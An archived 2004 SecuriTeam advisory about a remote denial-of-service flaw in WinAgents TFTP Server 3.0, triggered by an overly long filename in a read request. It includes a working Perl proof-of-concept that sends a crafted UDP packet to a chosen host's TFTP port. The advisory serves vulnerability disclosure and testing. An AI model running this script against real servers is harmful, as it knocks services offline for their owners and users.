

# [NT] WinAgents TFTP Server Remote DoS (Long Filename)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-06/0044.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 06/16/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 16 Jun 2004 17:33:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

WinAgents TFTP Server Remote DoS (Long Filename)

---

## SUMMARY

" <<http://www.winagents.com/en/products/tftp-server/index.php>> WinAgents TFTP Server for Windows is a fully-realized TFTP server for Windows 2000/XP. WinAgent's TFTP Server runs as a background task and doesn't require permanent attendance". WinAgent TFTP server contains a remotely exploitable condition that leads to the crashing of the server software, thereby a denial of service condition arises.

## DETAILS

Vulnerable Systems:

\* WinAgent TFTP Server version 3.0

By simply requesting a file with an overly long filename string triggers the remote denial-of-service condition.

Exploit:

A sample proof-of-concept exploit code written in Perl is provided which can easily be used to test for this vulnerability:

```
#!/usr/bin/perl
```

## Securiteam: [NT] WinAgents TFTP Server Remote DoS (Long Filename)

```
#
# Remote D.O.S WinAgents TFTP Server ver 3.0
#
# Tftp.pl <Host>

use IO::Socket;

$Tftp_Port = "69";
$FileName = "A"x1000;
$Tftp_OP = "\x00\x01";
$Tftp_M = "bin";
$Buf = $Tftp_OP . $Tftp_M . $FileName ;

if(!($ARGV[0]))
{
    print "\nUsage: perl $0 <Host>\n" ;

    exit;
}

print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error
..\n";
$ipaddr = inet_aton($ARGV[0]);
$portaddr = sockaddr_in($Tftp_Port, $ipaddr);
send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't
send ..\n";
print "Server : $ARGV[0] Is Down ... \n";
```

### Vendor Status:

The vendor was informed at 07.06.2004 and a fix should be out soon.  
Upgrade to the newer version.

### ADDITIONAL INFORMATION

The information has been provided by <[mailto:gss\\_it@yahoo.com](mailto:gss_it@yahoo.com)> Global Security Solution IT.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [NT] WinAgents TFTP Server Remote DoS (Long Filename)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.